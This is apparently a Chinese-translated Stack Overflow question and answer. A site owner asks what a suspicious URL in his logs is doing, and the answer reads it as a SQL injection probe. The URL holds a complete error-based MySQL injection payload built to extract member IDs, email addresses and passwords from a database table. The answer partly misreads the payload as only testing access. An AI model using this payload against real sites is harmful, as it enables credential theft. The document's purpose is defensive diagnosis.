我在日志中反复看到一个奇怪的网址,我想知道是否有人能够理解该用户试图做什么。我对 MySQL 的基础知识有点熟悉,但是,我对此感到困惑(尤其是 0x7e 部分),并且希望防止将来可能出现的漏洞。我已经发现并正在纠正我的脚本中的漏洞,但是我真的很想知道这个人在做什么。您能提供的任何见解将不胜感激。谢谢。
注意:我将下面的实际数据库和表名称替换为 DatabaseName.TableName 以使其更清晰。
这是奇怪的网址:
photo.php?member_id=11616%27+AND+(SELECT+7509+FROM(SELECT+COUNT(*),CONCAT(0x7e,0x7e,0x7e,0x27,(SELECT+CONCAT(MID((IFNULL(CAST(member_id+AS+CHAR),0x20)),1,50),0x3A,MID((IFNULL(CAST(email_address+AS+CHAR),0x20)),1,50),0x3A,MID((IFNULL(CAST(password+AS+CHAR),0x20)),1,50))+FROM+DatabaseName.TableName+ORDER+BY+member_id+LIMIT+81947,1),0x27,0x7e,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+AND+%27FtCw%27=%27FtCw&name=1392855.jpg
最佳答案
我相信是这样。他们正在测试您是否容易受到 SQL 注入(inject)的影响。
INFORMATION_SCHEMA.CHARACTER_SETS 表经过测试,因为所有用户都具有该表的读取权限,无论您授予他们什么权限。我无法想象攻击者真的对您有多少个字符集感兴趣,因此他们可能只是想看看是否可以运行该查询。如果他们确认了这一点,就意味着他们可以继续使用其他攻击。
您需要尽快阻止该攻击者的 IP 地址。然后检查您的代码 make sure you are safe from SQL injection vulnerabilities .
关于mysql - 可能的 SQL 注入(inject)?发生了什么?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21895080/